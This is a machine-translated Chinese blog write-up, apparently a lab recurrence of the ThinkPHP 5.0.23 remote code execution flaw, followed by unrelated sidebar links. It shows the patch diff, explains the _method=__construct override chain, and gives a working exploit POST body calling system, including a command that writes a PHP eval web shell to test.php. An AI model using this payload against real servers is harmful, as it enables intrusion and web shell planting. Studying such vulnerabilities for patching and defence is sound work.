当前位置:网站首页>Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
2022-06-30 18:23:00 【Seven days】
List of articles
One 、 Vulnerability profile
5.0.23 In previous versions , obtain method The method name is not handled correctly in the method of , Causes an attacker to call Request Class any method and construct the utilization chain , This leads to a Remote Code Execution Vulnerability .Thinkphp Source download
The vulnerability code is as follows :
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
call $this->{$this->method}($_POST); sentence . When we can control $method The value of , You can call Request Class , When the constructor is called __construct() when , Can be covered Request Any member variable of a class , You can override $this->method, Appoint check() Methods $method value .
Two 、 Loophole recurrence
visit IP:8080 Grab the bag
Change request toPOST /index.php?s=captcha
Message body is :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id/ls/whoami/echo <?php eval($_POST['cmd']);?> > test.php


边栏推荐
- Elastic 8.0: opening a new era of speed, scale, relevance and simplicity
- Apache parsing vulnerability (cve-2017-15715)_ Vulnerability recurrence
- 墨天轮沙龙 | 清华乔嘉林:Apache IoTDB,源于清华,建设开源生态之路
- Nielseniq welcomes dawn E. Norvell, head of retail lab, to accelerate the expansion of global retail strategy
- 基于SSH的客户关系CRM管理系统
- Customer relationship CRM management system based on SSH
- 大文件处理(上传,下载)思考
- The secondary menu of the magic article system v5.4.0 supports the optimization of form display
- New research of HKUST & MsrA: about image to image conversion, finishing is all you need
- What should I pay attention to when playing futures? Where is safe to open an account? It's my first contact
猜你喜欢

ABAP publish restful service

Talk about the SQL server version of DTM sub transaction barrier function

Animesr: learnable degradation operator and new real world animation VSR dataset

Tsinghua only ranks third? 2022 release of AI major ranking of Chinese Universities of soft science

ASP. Net password encryption and password login

基於SSH的網上商城設計

If you want to learn software testing, you must see series, 2022 software testing engineer's career development

Solve the problem of unable to connect to command metric stream and related problems in the hystrix dashboard

分布式场景下,你知道有几种生成唯一ID的方式嘛?

Design of online shopping mall based on SSH
随机推荐
[PROJECT] Xiaomao school (IX)
Small tools (3) integration knife4j3.0.3 interface document
MySQL advanced - index optimization (super detailed)
Thinking on large file processing (upload, download)
NFT挖矿游GameFi链游系统开发搭建
腾讯云安装mysql数据库
LRN local response normalization
Deep understanding of JVM (III) - memory structure (III)
MySQL reports that the column timestamp field cannot be null
[binary tree] preorder traversal to construct binary search tree
Vs Code treeview TreeView
Unity实战之一个脚本实现雷达图
Inventory in the first half of 2022: summary of major updates and technical points of 20+ mainstream databases
Word中添加代码块(转载)
现在玩期货需要注意什么,在哪里开户比较安全,我第一次接触
Tencent cloud installs MySQL database
DeFi借贷协议机制对比:Euler、Compound、Aave和Rari Capital
Add code block in word (Reprint)
[sword finger offer] sword finger offer 53 - ii Missing numbers from 0 to n-1
IEEE TBD SCI impact factor increased to 4.271, ranking Q1!